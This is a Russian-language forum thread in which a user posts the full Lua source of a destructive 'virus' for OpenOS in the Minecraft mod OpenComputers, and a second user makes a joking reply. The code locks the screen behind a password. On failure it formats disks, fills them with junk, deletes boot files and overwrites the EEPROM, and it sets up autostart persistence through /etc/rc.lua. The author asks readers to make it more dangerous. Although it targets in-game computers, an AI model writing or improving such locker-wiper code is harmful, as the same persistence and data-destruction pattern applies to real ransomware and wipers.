Faraday 0 Опубликовано: 2 мая (изменено) Представляю вам недоработанный проект вируса, который требует пароль и даёт вам 3 попытки в случае неверного ввода, и, если у вас закончатся попытки, то он ломает жёсткие диски, форматирует их и забивает мусорными файлами, а также ломает EEPROM, в случае правильного ввода разблокирует доступ к ПК и самоудаляется, не оставляя следов в системе. МИНУС вирус не имеет автозапуска у меня всегда проблемы с этим поэтому Перезагрузка, по идее, спасёт вас, а также не имеет возможности записаться на жёсткий диск и EEPROM для взаимной перепрошивки, если пользователь заменит один из компонентов. Если здесь есть мудрые люди, помогите сделать вирус опаснее или привлекательнее. Внимание! Данный вирус был разработан исключительно в образовательных целях, чтобы продемонстрировать возможности Lua и OpenCOMPUTER, и не предназначен для причинения вреда. Автор не несёт ответственности за возможный ущерб. Вы действуете на свой страх и риск. Установка: Любой пк-сервер (Для эффектов можно использовать видеокарту 2 уровня и выше.) Создание файла: Откройте терминал OpenOS. Введите: edit /.virus.lua Вставьте код -- /.virus.lua local component = require("component") local computer = require("computer") local fs = require("filesystem") local term = require("term") local serialization = require("serialization") local shell = require("shell") local gpu = component.gpu local event = require("event") -- Настройки local PASSWORD = "1337" local WIDTH, HEIGHT = gpu.getResolution() local VIRUS_PATH = "/.virus.lua" -- Скрытый файл -- Проверка наличия GPU if not component.isAvailable("gpu") then return end -- Центрирование текста local function centerText(y, text) local x = math.floor((WIDTH - #text) / 2) gpu.set(x, y, text) end -- Очистка экрана local function clearScreen() gpu.setBackground(0x0000FF) gpu.fill(1, 1, WIDTH, HEIGHT, " ") gpu.setForeground(0xFFFFFF) end -- Уничтожение всех носителей local function wipeAllDisks() for proxy in component.list("filesystem") do pcall(function() if proxy ~= computer.getBootAddress() and not component.invoke(proxy, "isReadOnly") then component.invoke(proxy, "format") end end) end end -- Заполнение диска мусором local function fillDiskWithJunk() local junkData = string.rep("0xDEADBEEF", 1000) local counter = 1 while true do local fileName = "/.trash_" .. tostring(counter) .. ".dat" local file, err = io.open(fileName, "w") if not file then break end file:write(junkData) file:close() counter = counter + 1 end end -- Поломка OpenOS local function breakOpenOS() pcall(function() fs.remove("/etc/rc.lua") fs.remove("/bin/lua.lua") fs.remove("/lib/core/boot.lua") end) if component.eeprom then component.eeprom.set("corrupted_data_0xDEADBEEF") end end -- Самоуничтожение local function destroySystem() wipeAllDisks() fillDiskWithJunk() breakOpenOS() clearScreen() centerText(HEIGHT // 2, "💀 SYSTEM DESTROYED 💀") computer.beep(2000, 3) computer.shutdown(true) end -- Проверка пароля local function checkPassword() clearScreen() centerText(5, "🚫 SYSTEM LOCKED 🚫") centerText(7, "Enter password (3 attempts):") for i = 1, 3 do term.setCursor(math.floor(WIDTH/2 - 7), 9) term.write(string.format("Attempt %d: ", i)) local input = io.read():gsub("[\n\r]", "") if input == PASSWORD then return true end end computer.beep(2000, 1) os.sleep(5) destroySystem() return false end -- Скрытая автозагрузка local function ensureAutostart() if not fs.exists(VIRUS_PATH) then local source = io.open(shell.getRunningScript(), "r") local data = source:read("*a") source:close() local target = io.open(VIRUS_PATH, "w") target:write(data) target:close() end -- Добавление в автозагрузку через /etc/rc.lua if fs.exists("/etc/rc.lua") then local rc = io.open("/etc/rc.lua", "a") rc:write("\nos.execute('" .. VIRUS_PATH .. "') -- System service") rc:close() else local rc = io.open("/etc/rc.lua", "w") rc:write("os.execute('" .. VIRUS_PATH .. "')") rc:close() end end -- Заражение EEPROM (без смены имени) local function infectEEPROM() if component.eeprom then local eepromCode = [[ local component = require("component") local fs = require("filesystem") if not fs.exists("/.virus.lua") then fs.copy("/mnt/" .. component.eeprom.getLabel() .. "/.virus.lua", "/.virus.lua") os.execute("/.virus.lua") end ]] component.eeprom.set(serialization.serialize(eepromCode)) end end -- Основной код ensureAutostart() infectEEPROM() clearScreen() centerText(HEIGHT // 2, "💀 OpenOS FATAL ERROR 💀") if checkPassword() then pcall(function() fs.remove(VIRUS_PATH) fs.remove("/etc/rc.lua") end) computer.shutdown(true) else destroySystem() end Запустите вирус: lua /.virus.lua Важно: Тестируйте в Creative Mode: Восстановление невозможно: Для возврата системы потребуется замена HDD и EEPROM. Внимания я случайно сломал возможность деактивации вируса с помощью пароля ! Изменено 2 мая пользователем Faraday Цитата Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах
Taoshi 62 Опубликовано: 4 мая В 02.05.2025 в 21:23, Faraday сказал: Внимания я случайно сломал возможность деактивации вируса с помощью пароля Не сломал, а починил :-) Ведь вирус с паролем скорее что-то похожее на кейлокер. 1 Цитата Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах